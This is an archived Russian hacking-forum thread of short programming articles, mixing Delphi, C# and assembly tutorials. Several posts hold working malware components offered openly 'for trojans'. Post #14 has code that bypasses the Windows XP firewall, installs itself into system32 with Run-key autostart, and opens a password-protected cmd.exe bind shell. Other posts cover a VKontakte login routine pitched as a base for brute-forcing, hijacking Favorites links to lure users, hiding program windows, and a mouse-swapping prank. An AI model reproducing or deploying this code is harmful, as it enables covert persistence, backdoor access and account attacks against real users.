ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Vkontakte авторизация [DELPHI]
  #11  
Старый 26.07.2008, 15:37
De-visible
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме:
4037638

Репутация: 1821


Отправить сообщение для De-visible с помощью ICQ
По умолчанию Vkontakte авторизация [DELPHI]

Vkontakte авторизация [DELPHI (WinSock) ]

***

[intro]

По многочисленным просьбам в ПМ, написал мини статейку про авторизацию на сайте vkontakte.ru (Все на сокетах.)


[Исходный код с комментариями]

глобальная переменная.
Код:
var
sBuff:array [1..6000] of char;//буфер для хранения полученного заголовка страницы
//-------------------------------------------------------
Код:
procedure Err(n:integer);//Функция обработки ошибок
  begin if n<>0 then
    begin
	MessageBox(0,pchar('Error #'+inttostr(WSAGetLastError)),'Error',mb_ok);
	halt
    end
  end;
//-------------------------------------------------------
Код:
function CopyCookie(s,sBuff:string):string;//Функция для копирования cookie(страница 302)
var
text:string;
i:integer;
 Begin
  text:='';
  For i:=pos(s+'=',sBuff) to Length(sBuff) Do
    Begin
      If sBuff[i]<>';' then text:=text+sBuff[i] else Break;
    End;
  Result:=text;
 End;
//-------------------------------------------------------
Код:
function redirect(sBuff:string):string;//Функция для выдирания id, из set-cookie
var
text:string;
  Begin
    text:=trim(copy(sBuff,pos('/id',sBuff),pos('Content-Encoding',sBuff)-pos('/id',sBuff)));
    result:=text;
  End;
//-------------------------------------------------------
Описываем переменные.
Код:
var
wData:WSAData;
s:TSOCKET;
addr:sockaddr_in;
email,pass,sendbuff:string;//мыло, пасс, пакет для отправки пост или гет запросов
PostData:string;//отправляемые данные, мыло с пассом
//-------------------------------------------------------
Начинаем, пытаемся загрузить библиотеку.
Код:
Begin
  email:=Edit1.Text;//мыло
  pass:=Edit2.Text;//пасс
  if WSAStartup(makeword(1,1),wData)<>0 then
  Begin
    ShowMessage('нет носков');
    exit;
  End;
Создаем сокет, коннектимся.
Код:
  s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  FillChar(addr, SizeOf(sockaddr_in), 0);
  addr.sin_family:=AF_Inet;
  addr.sin_port:=htons(80);
  addr.sin_addr.S_addr:=inet_addr('195.190.105.238');//IP vkontakte.ru
  Err(Connect(S,addr,SizeOf(TSockAddr)));
        PostData := '';
        PostData := 'email=' + email+'&'+'pass='+pass ;
        sendbuff := '';
Формируем запрос(POST), отправляем данные и получаем заголовок от серевера(записываем его в Memo1).
Код:
        //Формируем пост запрос
        sendbuff := 'POST /login.php HTTP/1.1'+ #13#10 +
                    'Host: vkontakte.ru'+ #13#10 +
                    'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 AdCentriaIM/1.7 Firefox/2.0.0.14 WebMoney Advisor'+ #13#10 +
                    'Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5'+ #13#10 +
                    'Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3'+ #13#10 +
                    'Accept-Encoding: gzip,deflate'+ #13#10 +
                    'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'+ #13#10 +
                    'Keep-Alive: 300'+ #13#10 +
                    'Connection: keep-alive'+ #13#10 +
                    'Referer: http://vkontakte.ru/index.php'+ #13#10 +
                    'Cookie: remixchk=5'+ #13#10 +
                    'Content-Type: application/x-www-form-urlencoded'+ #13#10 +
                    'Content-Length: ' + IntToStr(Length(PostData)) + #13#10#13#10 + PostData+#13#10+'Connection: close' + #13#10#13#10;
  send(s, sendbuff[1] , Length(sendbuff), 0);//Отправляем пост запрос из SENDBUFF
  application.ProcessMessages;
  recv(s,sBuff,5000,0);//получаем данные и записываем в sBuff
  application.ProcessMessages;
  Memo1.Text:=sBuff;
//-------------------------------------------------------
Закрываем сокет.
Код:
  Err(Shutdown(S,SD_Send));
  Err(closesocket(s));
//Для написания брутфорса этого было бы достаточно просто выдрали из Set-cookie id пользователя с помощью функции Redirect и все...
example
Код:
Edit3.Text:='http://vkontakte.ru'+redirect(sBuff);
Но для сбора инфы пользователя, дл отправки сообщений на стены, для приглашения в друзья и т.д. этого не достаточно...(сами разберетесь не сложно)
Поэтому просто покажу как попасть в свой профиль):

Формируем запрос(GET), отправляем данные и получаем заголовок от серевера(записываем его в Memo1).
Код:
  s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  Connect(S,addr,SizeOf(TSockAddr));
  sendbuff:='';
  application.ProcessMessages;
  Edit3.Text:='http://vkontakte.ru'+redirect(sBuff);
  //Формируем гет запрос
  sendbuff :='GET '+redirect(sBuff)+ ' HTTP/1.1'+ #13#10 +
                    'Host: vkontakte.ru'+ #13#10 +
                    'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 AdCentriaIM/1.7 Firefox/2.0.0.14 WebMoney Advisor'+ #13#10 +
                    'Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5'+ #13#10 +
                    'Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3'+ #13#10 +
                    'Accept-Encoding: gzip,deflate'+ #13#10 +
                    'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'+ #13#10 +
                    'Keep-Alive: 300'+ #13#10 +
                    'Connection: keep-alive'+ #13#10 +
                    'Referer: http://vkontakte.ru/index.php'+ #13#10 +
                    'Cookie: '+CopyCookie('remixchk',sBuff)+';'+' '+CopyCookie('remixmid',sBuff)+';'+' '+CopyCookie('remixemail',sBuff)+';'+' '+CopyCookie('remixpass',sBuff)+ #13#10+ #13#10;

  send(s, sendbuff[1] , Length(sendbuff), 0);//Отправляем пост запрос из SENDBUFF
  application.ProcessMessages;
  recv(s,sBuff,5000,0);//получаем данные и записываем в sBuff
  application.ProcessMessages;
  Memo1.Lines.Add('Мы обошли страницу 302'+#13#10+#13#10+sBuff);//Записываем в Memo1 полученные заголовки
//-------------------------------------------------------
[ВСЕ]


На статью может и не тянет, но просьбу некоторых форумчан я выполнил), да и для многих думаю будет полезным(для новичков)...
А так ждем пополнения этого топика, хорошими статейками, что бы многим было интересно почитать.
(здесь постим только статьи, обсуждения не здесь. За дальнейшее использование статьи, автор никакой ответственности не несет...)


Исходник и экзешник:
ЗДЕСЬ
Вложения
Тип файла: rar Исходники.rar (21.0 Кб, 112 просмотров)

Последний раз редактировалось De-visible; 12.11.2008 в 18:43..
 

  #12  
Старый 23.09.2008, 21:43
merax
Новичок
Регистрация: 03.07.2007
Сообщений: 18
Провел на форуме:
98311

Репутация: 28
По умолчанию

Папка "Избранное", скрытая угроза!


На статью это конечно не сильно потянет, но маза имеется. Почему-то все трояно- писатели стремятся подменить запросы которые выдает ему поисковик. Временами это доходит до фанатизма и технологии усложняются. Но мы с вами лентяи и рассмотрим незаслуженно забытых «любителей» избранного. Папочка Favorites, вот кладезь нетленная. Ведь юзер сохранив название понравившейся странички, совершенно не помнит адреса. А если это порно страница? И можно попросить пользователя установить плагин для отображения содержимого? Просто рай какой-то. Итак, код прост. Для простоты юзаем WinAPI функции, файлики с расширением .url и ini по сути одно и тоже…


Код:
::GetPrivateProfileString(LPCTSTR SectionName, LPCTSTR KeyName, LPCTSTR Default,  LPTSTR ReturnedString, DWORD strSize, LPCTSTR FileName);

::WritePrivateProfileString(LPCTSTR SectionName, LPCTSTR KeyName, LPTSTR String, LPCTSTR FileName);

Погуглив на наличие подобного в интернете и нашел только 1 ссылку, но и та на момент написания статьи не работала. Так что копирайт античату. И никто не несет ответственности за использования описанных методов.
С уважением merax.

Последний раз редактировалось merax; 23.09.2008 в 21:45..
 

  #13  
Старый 27.09.2008, 19:07
ronald
Участник форума
Регистрация: 27.03.2008
Сообщений: 288
Провел на форуме:
800727

Репутация: 83
Отправить сообщение для ronald с помощью ICQ
По умолчанию

Очень маленькая статья, для маньяков, которые пишут огромные думающие существа и хотят их скрыть

Delphi code:

создаем обработчик для формы и в нем прописываем:
PHP код:
AlphaBlend:=true;
AlphaBlendValue:=100
Сей код делает форму только прозрачной!!! AlphaBlendValue - показатель прозрачности например, если вы сделаете его 10, то вообще не видно
Также, если мы не хотим, чтобы человек закрыл или запалил прогу, свернув её
настройте показатели формы BorderIcons везде на False.
Спасибо, за то что потратили время на чтение.

Ещё одна mini-статья по Делфи:

Пойдет речь о том как добавить свою delphi программу в автозапуск или cделать так что бы она запускалась при каждом страте Windows. Для этого нам нужно добавить некоторые записи в реестр Windows. Для начала, в раздел uses добавляем RegisTry. В любом обработчике событий (можно в OnCreate у формы или в OnClick у кнопки) прописываем код приведенный ниже.

PHP код:
var regtregistry;
begin
reg 
:= tregistry.create;
reg.rootkey := hkey_local_machine;
reg.lazywrite := false;
reg.openkey('software\microsoft\windows\currentversion\run'false);
reg.writestring('progrmma'application.exename); {вместо programma можно вставить что нибудь своё}
reg.closekey;
reg.free;
end
-----------
De-V: Одобрено.

Последний раз редактировалось De-visible; 27.09.2008 в 19:44..
 

  #14  
Старый 03.10.2008, 16:05
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

Простые, но всёже полезные функции для различного рода троянов и тому подобных вещей.
Весь код - на API - по этому легко реализуется в независимо от использования VCL и сторонних компонентов.
И так приступим.
1) Обход встроенного в винду фаервола:
Добавляет саму себя в обход фаера
Код:
procedure fuck_xpfw;
var
 key:longword;
 ValueName:array[0..255] of char;
 Value:string;
const
path='SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List';

begin
 if RegOpenKeyEx($80000002, path, 0, LOngword($F003F), key)<>0 then exit;
 GetModuleFileName(GetModuleHandle(nil), ValueName, 256);
 Value:=ValueName+':*:Enabled:RPC';
 RegSetValueEx(key, ValueName, 0, 1, pchar(Value), length(Value));
 RegCloseKey(key);
end;
2) Копирование себя в windows и прописывает в автозагрузке:

Код:
function windir:string; // возвращает путь к папке windows
var
a:array[0..144] of char;
begin
 GetWindowsDirectory(a, sizeof(a)); // получение пути к папке Windows
result:=a;
end;

procedure install(name,about:string);
var
 key:longword;
 s:string;
begin
  s:=windir+'\system32\'+name;
 CopyFile(pchar(paramstr(0)),pchar(s),false);
 RegOpenKeyEx(longword($80000002), 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0, $000F003F, Key);
 RegSetValueEx(Key, pchar(about), 0,1, pchar(s), length(s));
 RegCloseKey(Key);
end;
3) Проверка на повторную загрузку:
Код:
function isRun:boolean;
begin
 CreateFileMapping($FFFFFFFF, nil, 4, 0, 127,'MemFileName');
 if GetLastError=183 then result:=true else result:=false;
end;
4) Шелл:
C авторизацией
Код:
procedure RunShell;
const
 PORT=1234;
LOGIN='login';
var
StartupInfo:_STARTUPINFOA;
addr,caddr:tsockaddrin;
ProcessInformation:_PROCESS_INFORMATION;
addrlen:integer;
cl:LongWord;
l:integer;
s:string;
c:char;
begin
sock:=WSASocketA(2,1,6,nil,0,0);
if sock=INVALID_SOCKET then exit;
addr.sin_family:=AF_INET;
addr.sin_addr.s_addr:=0;
addr.sin_port:=htons(PORT);
 bind(sock,@addr, sizeof(addr))=0;
listen(sock,$7FFFFFFF);
addrlen:=sizeof(caddr);
while 1=1 do
 begin
  cl:=accept(sock,caddr,addrlen);
  if cl=INVALID_SOCKET then continue;
  s:='';
  repeat
   l:=recv(cl,c,1,0);
   s:=s+c;
   if length(s)>16 then l:=-1;
  until (l<=0) or (s=LOGIN);
  if l<=0 then
   begin
    closesocket(cl);
    continue;
   end;
  fillchar(StartupInfo,sizeof(StartupInfo),0);
  StartupInfo.cb:=sizeof(StartupInfo);
  StartupInfo.dwFlags:=$100;
  StartupInfo.hStdInput:=cl;
  StartupInfo.hStdOutput:=cl;
  StartupInfo.hStdError:=cl;
  CreateProcessA(nil,'cmd.exe',nil,nil,$00000001,$8000040,nil,nil,StartupInfo,ProcessInformation);
end;
closesocket(sock);
end;
 

  #15  
Старый 23.11.2008, 00:03
scrat
Постоянный
Регистрация: 08.04.2007
Сообщений: 853
Провел на форуме:
5812656

Репутация: 1540


Отправить сообщение для scrat с помощью ICQ
По умолчанию

Недавно столкнулся с проблемой работы с drag&drop для произвольных объектов. Решил тут кратенько описать что к чему.

По настоящему всё просто. Для объектов windows forms есть реализация drag&drop(сейчас не об этом).Возьмём к примеру программу которая будет строить многоугольник.И сделаем так чтобы каждую вершину можно drag&drop'ить.

Заведём в нашем классе следующее:
  • private int DDPoint; - точка которую перетаскиваем в данный момент
  • private bool DragDropFlag; - флаг того что пользователь "тащит".
  • List<Point> PointList = new List<Point>(); - список точек

добавление точек в многоугольник и отрисовку его писать здесь не буду.

Для начала обработаем нажатие копки(не путать с кликом,клик = нажал и отпустил)
Код:
     private void Form1_MouseDown(object sender, MouseEventArgs e) 
        {
            if (PointList.Count > 1)
            {
                for (int i = 0; i < PointList.Count; i++) //перебираем точки
                {
                    if (e.X <= PointList[i].x + 20 && e.X >= PointList[i].x - 20 && e.Y <= PointList[i].y + 20 && e.Y >= PointList[i].y - 20) //проверка,не  нажали ли на точку
                    {
                        DDPoint = i; 
                        DragDropFlag = true; //если да,то ставим i-ую точку как точку которую мы двигаем и возводим флаг
                        label1.Text = "Sex,drugs, drag and drop!"; //фетиш
                    }
                    if (DragDropFlag == true) break;
                }
            }
        }       }
Теперь рассмотрим движение мышки:
Код:
  private void Form1_MouseMove(object sender, MouseEventArgs e)
        {
            
            if (DragDropFlag == true) //если поднят флаг
            {
                PointList[DDPoint].x = e.X;
                PointList[DDPoint].y = e.Y; //меняем x,y нужной точки
                label1.Text = "Drugs,sex drag and drop!";
                Refresh(); //перерисовываем
            }
            else  label1.Text = "Координаты: " + e.X + ";" + e.Y;
            
        }
ну и поднятие мышки:
Код:
  private void Form1_MouseUp(object sender, MouseEventArgs e)
        {
            DragDropFlag = false;
        }
Хочу добавить что было бы неплохо добавить Double buffering:
Код:
  private void Form1_Paint(object sender, PaintEventArgs e)
        {
            DoubleBuffered = true;
     ......
Скачать исходник
 

Ну кагбе хекаем мышку ламера=))
  #16  
Старый 16.12.2008, 21:15
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
Провел на форуме:
2584134

Репутация: 519


Отправить сообщение для -m0rgan- с помощью ICQ
По умолчанию Ну кагбе хекаем мышку ламера=))

Взлом компьютерной мышки=))
Вот начал я изучать ассембер и не удержался чтоб не написать какую то программу шутку.Эта программа не повредит компьютеру, а только изменит расположение кнопок мыши и напугает ламера).
Что нам потребуется:
1)Компилятор masm32 или tasm, разница в синтаксисе минимальна но советую взять masm32, потому что объяснять я буду именно по нему.
2)Любой текстовый редактор.
3)Прямые руки и голова на плечах.
Первые строки.
Код:
.386 
.model flat,stdcall 
option casemap:none 
include C:\masm32\INCLUDE\WINDOWS.INC 
include C:\masm32\INCLUDE\KERNEL32.INC 
include C:\masm32\INCLUDE\USER32.INC 
include C:\masm32\INCLUDE\ADVAPI32.INC 
includelib C:\masm32\lib\comctl32.lib 
includelib C:\masm32\lib\user32.lib 
includelib C:\masm32\lib\gdi32.lib 
includelib C:\masm32\lib\kernel32.lib 
includelib C:\masm32\lib\user32.lib 
includelib C:\masm32\lib\advapi32.lib
Разберемся в вышенаписаном:
.386-этой строкой мы говорим нашему компиятору, что намеpеваемся использовать набоp инстpукций пpоцессоpа 80386. .Model flat, stdcall говоpит MASM'у, что наша пpогpамма будет использовать плоскую модель памяти.
Далее мы подгружаем инклудники и библиотеки.
.data
В области дaнных у нас будет 2 строки:
Код:
HINST DWORD 0
Код:
strHack db "I hacked you mouse!",0
Они выведут текст "I hacked you mouse!"
.CODE
В области кода мы имеем:
Код:
start: 
invoke SwapMouseButton,1 
invoke MessageBox, 0 , addr strHack, addr strHack , 0 
exit: 
invoke ExitProcess , 0
Давайте разберем все по полочкам.
start:– указывает на начало исполняемого кода.
invoke SwapMouseButton,0– прикрепляем API функцию SwapMouseButton с параметром 1(Эта функция и меняет кнопки мыши местами).
invoke MessageBox, 0 , addr strHack, addr strHack , 0 – эта API функция выводит окно с сообщением.
addr strHack указывает на текст сообщения который мы указали выше.
exit: - указывает на код завершения программы.
invoke ExitProcess , 0 – завершение программы после нажатия кнопки ok.
Ну и самая последняя строка- это end start – она указывает на конец участка кода.
Вот мы и закончили с программной частью.
Компиляция.
Для компиляции нашей программы мы напишем 2 простеньких батника, что бы не мучатся каждый раз вбивая комманду в консоли...
Первый батник:
Код:
@ echo ----OBJ---- 
@ c:\masm32\bin\ml.exe /coff /c .\ISHODNIC\mouse.asm
Его и запускаем первым.
Второй:
Код:
@ echo ----EXE---- 
@ if EXIST pirat.obj c:\masm32\bin\link.exe /SUBSYSTEM:WINDOWS .\mouse.obj
Если в написание кода вы не допустили ошибок,то программа скомпилится удачно.Можети идти разводить ламеров=))
Теперь давайте разберемся как от этого избавится.
А это предельно просто:
Замените параметр SwapMouseButton с 1 на 0 и всё.
Вот мы и написали простинький «Вирус» и «Антивирус».
Полный текст программы:
Код:
.386 
.model flat,stdcall 
option casemap:nonе 
include C:\masm32\INCLUDE\WINDOWS.INC 
include C:\masm32\INCLUDE\KERNEL32.INC 
include C:\masm32\INCLUDE\USER32.INC 
include C:\masm32\INCLUDE\ADVAPI32.INC 
includelib C:\masm32\lib\comctl32.lib 
includelib C:\masm32\lib\user32.lib 
includelib C:\masm32\lib\gdi32.lib 
includelib C:\masm32\lib\kernel32.lib 
includelib C:\masm32\lib\user32.lib 
includelib C:\masm32\lib\advapi32.lib 
.data 
HINST DWORD 0 
strHack db "I hacked you mouse!",0 
.code 
start: 
invoke SwapMouseButton,0 
invoke MessageBox, 0 , addr strHack, addr strHack , 0 
exit: 
invoke ExitProcess , 0 
end start
Ну вот и всё!
С вами был m0rgan.
Удачи во всех начинаниях!
P.S.:Статейка расчитана на (!!!)новичков в асме...
 

Использование плагинов в .NET
  #17  
Старый 20.12.2008, 10:37
W!z@rD
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме:
1892597

Репутация: 836


Отправить сообщение для W!z@rD с помощью ICQ
По умолчанию Использование плагинов в .NET

Введение
Данный материал ни на что не претендует.
Сегодня просто стало интересно, как же использовать плагины в .NET?
Если в Win32 это LoadLibrary & GetProcAddr, то в .NET это ...?
P.S. надеюсь орфографических ошибок не будет =)

ссылка на сорцы и бинарники - http://www.sendspace.com/file/72o96u
Требования: .NET Framework 2.0

Извиняюсь за отсутствие комментов в коде
На чем будет все базироваться?
Грубо говоря все основывается на интерфейсе, который должен быть реализован в плагине.
Расмотрим интерфейс который я использовал:
PHP код:
public interface IPlugin
    
{
        
string Description get;}

        
object Calc(int xint y);
    } 
Тут 2 поля.
1 - string Description - аксессор. Возращает описание плагина;
2 - object Calc - функция. Принимает 2 параметра int типа, возвращает объект - object, который можно конвертнуть в необходимый.
Данная библиотека добавляется в ссылки и в лоадере и в плагине.
Лоадер
Собственно вот и лоадер...
Что он из себя представляет? Обычное WinForm приложение.

Создаем экземпляр объекта Hashtable;

PHP код:
readonly Hashtable plugins = new Hashtable(); 
Ниже приведу список методов и описание:

private void GetPlugins() - данная функция ищет плагины (об этом поподробнее ниже)
private void button1_Click - обработчик нажатия на кнопку (иницирует работу плагина (точнее его метод, реализация интерфейса))

PHP код:
        private void GetPlugins()
        {
            
string[] files Directory.GetFiles(Application.StartupPath"*.dll"); //получаем файлы с расширением dll в папке откуда был запущен Exe
            
foreach (string file in files)
            {
                try
                {
                    
Assembly assembly Assembly.LoadFile(file);//загружаем сборку
                    
foreach (Type type in assembly.GetTypes())
                    {
                        
Type f type.GetInterface("Core.IPlugin"); //попытаемся получить интерфейс
                        
if (!= null)
                        {
                            
IPlugin plugin = (IPluginActivator.CreateInstance(type);
                            
plugins.Add(plugin.Descriptionplugin); //Добавление интерфейса
                            
comboBox1.Items.Add(plugin.Description); //В список добавляем описание плагина
                            
ListViewItem item = new ListViewItem();
                            
item.Text file;
                            
item.SubItems.Add(plugin.Description);
                            
listView1.Items.Add(item);
                        }
                    }
                }
                catch (
Exception ex)
                {
                    
MessageBox.Show("Ошибка загрузки плагина\n" ex.Message); //опс... =(
                
}
            }
        } 
Реализация плагина
PHP код:
public class Class1:IPlugin //наследование интерфейса
    
{
        public 
string Description //описание
        
{
            
get
            
{
                return 
"Plugin1 description";
            }
        }

        public 
object Calc(int xint y//реализация метода
        
{
            return 
y;
        } 
Наследуем интерфейс и реализуем...
Конец
ну вот и все...
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
 

используем Parallel Extensions для .Net
  #18  
Старый 21.12.2008, 13:27
jawbreaker
Участник форума
Регистрация: 07.07.2008
Сообщений: 161
Провел на форуме:
1027635

Репутация: 234
По умолчанию используем Parallel Extensions для .Net

Parallel Extensions это небольшое дополнение к библиотеке System.Threading, которое позволяет на высоком уровне выполнять задачи на всех доступных ядрах/процессорах.


История
Библиотека Parallel Extensions (PE) — совместный проект команды .Net и Microsoft Research — впервые увидела свет 29 ноября 2007 года. Она создана для того, чтобы разработчики могли пользоваться современными многоядерными архитектурами, не утруждая себя трудоемким управлением потоками. Программы, написанные с применением библиотеки, автоматически используют все доступные ядра системы. Если же программа будет запущена на старом одноядерном компьютере, то выполнение будет происходить последовательно, практически без потерь в производительности. Таким образом, использование PE раскрывает все преимущества многоядерных технологий, сохраняя работоспособность на одноядерных системах.

Последнее обновление библиотеки было в июне 2008 года. Сейчас она имеет статус Community Technology Preview и, скорее всего, войдет в 4 версию .Net.

Состав библиотеки

PE состоит из трех основных компонентов:

* Task Parallel Library (TPL) — предоставляет такие императивные методы, как Parallel.For, Parallel.Foreach и Parallel.Invoke для выполнения параллельных вычислений. Вся работа по созданию и завершению потоков, в зависимости от имеющихся процессоров выполняется библиотекой автоматически.
* Parallel LINQ (PLINQ) — надстройка над LINQ to Objects и LINQ to XML, позволяющая выполнять параллельные запросы. В большинстве случаев достаточно в начале запроса написать AsParallel() для того, чтобы все последующие операторы выполнялись параллельно. Внутренне использует TPL.
* Coordination Data Structures (CDS) — набор структур, который используется для синхронизации и координации выполнения параллельных задач.
Перейдём к примеру:
PHP код:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Data.SqlClient;
using System.IO;
using System.Threading;


class 
Program
{
    private static 
int nbFiles;
    private static 
int nbMatchFiles;

    private const 
String dirPath = @"D:\_Dev";
    private const 
String pattern "public";

    static 
void Main(string[] args)
    {
        
Console.WriteLine("Searching for : " pattern);

        
nbFiles 0;
        
nbMatchFiles 0;
        
DateTime start DateTime.Now;

        
Console.WriteLine("Search using Standard Processing");
        
SearchForStandard(dirPathpatterntrue);
        
Console.WriteLine(string.Format("Total files : {0}"nbFiles));
        
Console.WriteLine(string.Format("found in files : {0}"nbMatchFiles));
        
Console.WriteLine(string.Format("Search Duration : {0}"DateTime.Now.Subtract(start).ToString()));
        
Console.ReadKey();
    }

    private static 
void SearchForStandard(string pathstring textbool recurse)
    {
        foreach (
String file in Directory.GetFiles(path"*.*"))
        {
            
Interlocked.Increment(ref nbFiles);
            
FindInFile(filetext);
        }
        if (
recurse)
        {
            foreach (
String dir in Directory.GetDirectories(path))
            {
                
SearchForStandard(dirtextrecurse);
            }
        }
    }
    private static 
void FindInFile(string csFilePathstring text)
    {
        if (
File.ReadAllText(csFilePath).IndexOf(text) >= 0)
            
Interlocked.Increment(ref nbMatchFiles);
    }

Результат:
Код:
Searching for : public
Search using Standard Processing
Total files : 23210
found in files : 6689
Search Duration : 00:01:17.6940000
Теперь с использованием Parallel Extensions:
PHP код:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Data.SqlClient;
using System.IO;
using System.Threading;

class 
Program
    
{
        private static 
int nbFiles;
        private static 
int nbMatchFiles;

        private const 
String dirPath = @"F:\_Dev";
        private const 
String pattern "public";

        static 
void Main(string[] args)
        {
            
Console.WriteLine("Searching for : " pattern);

            
nbFiles 0;
            
nbMatchFiles 0;
            
DateTime start DateTime.Now;

            
Console.WriteLine("Search using Parallel Processing");
            
SearchForParallel(dirPathpatterntrue);
            
Console.WriteLine(string.Format("Total files : {0}"nbFiles));
            
Console.WriteLine(string.Format("found in files : {0}"nbMatchFiles));
            
Console.WriteLine(string.Format("Search Duration : {0}"DateTime.Now.Subtract(start).ToString()));
        }

        private static 
void SearchForParallel(string pathstring textbool recurse)
        {
            
Parallel.ForEach(Directory.GetFiles(path"*.cs"), csFilePath =>
            {
                
Interlocked.Increment(ref nbFiles);
                
FindInFile(csFilePathtext);
            });
            if (
recurse)
                
Parallel.ForEach(Directory.GetDirectories(path),
                    
dirName => SearchForParallel(dirNametextrecurse));
        }
        private static 
void FindInFile(string csFilePathstring text)
        {
            if (
File.ReadAllText(csFilePath).IndexOf(text) >= 0)
                
Interlocked.Increment(ref nbMatchFiles);
        }
    } 
И результат:
Код:
Search using Parallel Processing
Total files : 6708
found in files : 6059
Search Duration : 00:00:02.3510000
Как видим выигрыш в производительности есть, и немалый а от нас потребовалось просто написать Parallel.ForEach вместо обычного ForEach, всё остальное PE делает за нас ;-)

Скачать Parallel Extensions для .Net 3.5

Последний раз редактировалось jawbreaker; 21.12.2008 в 22:01..
 

  #19  
Старый 28.12.2008, 09:36
Shaitan-Devil
Участник форума
Регистрация: 15.08.2008
Сообщений: 167
Провел на форуме:
3009843

Репутация: 204
По умолчанию

Введение
Микро Статья для начинающих в кодинге по работе с мукулом.
Думаю будет полезно.Все примеры для
командной строки.
Начнем
Заголовки
Код:
#include <iostream>
#include <mysql++.h>
using namespace std;
using namespace mysqlpp;
Данные для соединения с БД
Код:
int main()
{
const char db[]=”db_name”;//Навзание БД
const char user[]=”username”;//Логин Юзвера
const char password[]=”password”;//Пароль юзера
const char host[]=”localhost”;//Хост
const int pot=”3306”;//Порт
Функция соединения с сервером
Код:
mysqlpp::Connection con(false);//Создадим объект con для соединения с сервером
con.connection(db,host,user,password,port);
if(conection)
{cout”You are connected”;}
else{cout<<"Error";
Запросы
Код:
 mysqlpp::Query query = con.query();
query<<”Select*From table_name”;
mysqlpp::Result res = query.store();//Получаем р-ты
Получаем колнки
Код:
   if (res) {
                char buf[256];
                mysqlpp::Row row;
                mysqlpp::Row::size_type i;
                for (i = 0; row = res.at(i); i++) {
                        cout << '\t' << utf8trans(row.at(0), buf, sizeof(buf));
                }
        }
        else {
                cerr << "Failed to get item list: " << query.error() ;
                return 1;
        }

        return 0;
Заключение
Вот и все основные команды.Стаья не очень,но пишу сам как новичок.
 

Использование ресурсов (Delphi)
  #20  
Старый 03.01.2009, 10:37
W!z@rD
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме:
1892597

Репутация: 836


Отправить сообщение для W!z@rD с помощью ICQ
По умолчанию Использование ресурсов (Delphi)

Введение
куча вопросов по поводу работы с ресурсами, тут приведу лишь 1 вариант извлечение онного...

BRCC32
1. Запускаем блокнот
2. Записываем секцию вида - updater_exe RCDATA updater.exe
3. Сохраняем с расширением rc
4. Открываем консоль. Набираем следующее brcc32 <путь и имя файла (пункт 3)>
5. В итоге должны получить фай с расширением res

{$R <Resource.res>}
1. Создаем проект в Delphi
2. Используя дериктиву $R добавляем использование ресурса... Пример {$R myres.res}

Извлечение ресурса
Цитата:
uses Classes;
...
procedure ExtractRes;
var Res:TResourceStream;
begin
Res:=TResourceStream.Create(HInstance,'updater_exe',RT_RCDATA);
Res.SaveToFile('FileName.exe');
Res.Free;
end;
Happy End
вот и все...
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ